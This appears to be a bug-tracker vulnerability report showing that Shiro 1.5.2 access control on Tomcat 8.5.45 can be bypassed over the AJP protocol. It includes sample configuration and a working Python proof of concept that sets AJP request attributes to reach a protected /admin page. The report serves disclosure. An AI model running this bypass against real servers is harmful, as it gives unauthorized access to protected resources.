Details
-
Bug
-
Status: Open
-
Major
-
Resolution: Unresolved
-
None
-
None
-
None
Description
I found that shiroFilter's access control can be bypassed through tomcat ajp protocol。
@Configuration public class ShiroConfig { @Bean MyRealm myRealm() { return new MyRealm(); } @Bean DefaultWebSecurityManager securityManager(){ DefaultWebSecurityManager manager = new DefaultWebSecurityManager(); manager.setRealm(myRealm()); return manager; } @Bean ShiroFilterFactoryBean shiroFilterFactoryBean(){ ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean(); bean.setSecurityManager(securityManager()); bean.setLoginUrl("/login"); bean.setSuccessUrl("/index"); bean.setUnauthorizedUrl("/unauthorizedurl"); Map<String, String> map = new LinkedHashMap<>(); map.put("/doLogin", "anon"); map.put("/admin/*", "authc"); bean.setFilterChainDefinitionMap(map); return bean; } }
@RestController public class LoginController { @PostMapping("/doLogin") public void doLogin(String username, String password) { Subject subject = SecurityUtils.getSubject(); try { subject.login(new UsernamePasswordToken(username, password)); System.out.println("登录成功!"); } catch (AuthenticationException e) { e.printStackTrace(); System.out.println("登录失败!"); } } @GetMapping("/admin/page") public String admin() { return "admin page"; } @GetMapping("/login") public String login() { return "please login!"; } }
If we visit /;/admin/page through http protocol, we will get a 302.
But if we use the ajp protocol to access, we can directly access the admin page。
By the way, how to use this exp。git clone https://github.com/hypn0s/AJPy.git and
create a new shiro-test.py in the same directory as follows
import sys from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException from tomcat import Tomcat gc = Tomcat('127.0.0.1', 8009) attributes = [ { "name": "req_attribute" , "value": ("javax.servlet.include.request_uri", "/;/admin/page", ) } , { "name": "req_attribute" , "value": ("javax.servlet.include.path_info", "/", ) } , { "name": "req_attribute" , "value": ("javax.servlet.include.servlet_path", "", ) } , ] hdrs, data = gc.perform_request("/", attributes = attributes) output = sys.stdout for d in data: try: output.write(d.data.decode('utf8')) except UnicodeDecodeError: output.write(repr(d.data))
env:apache-tomcat-8.5.45 + shiro 1.5.2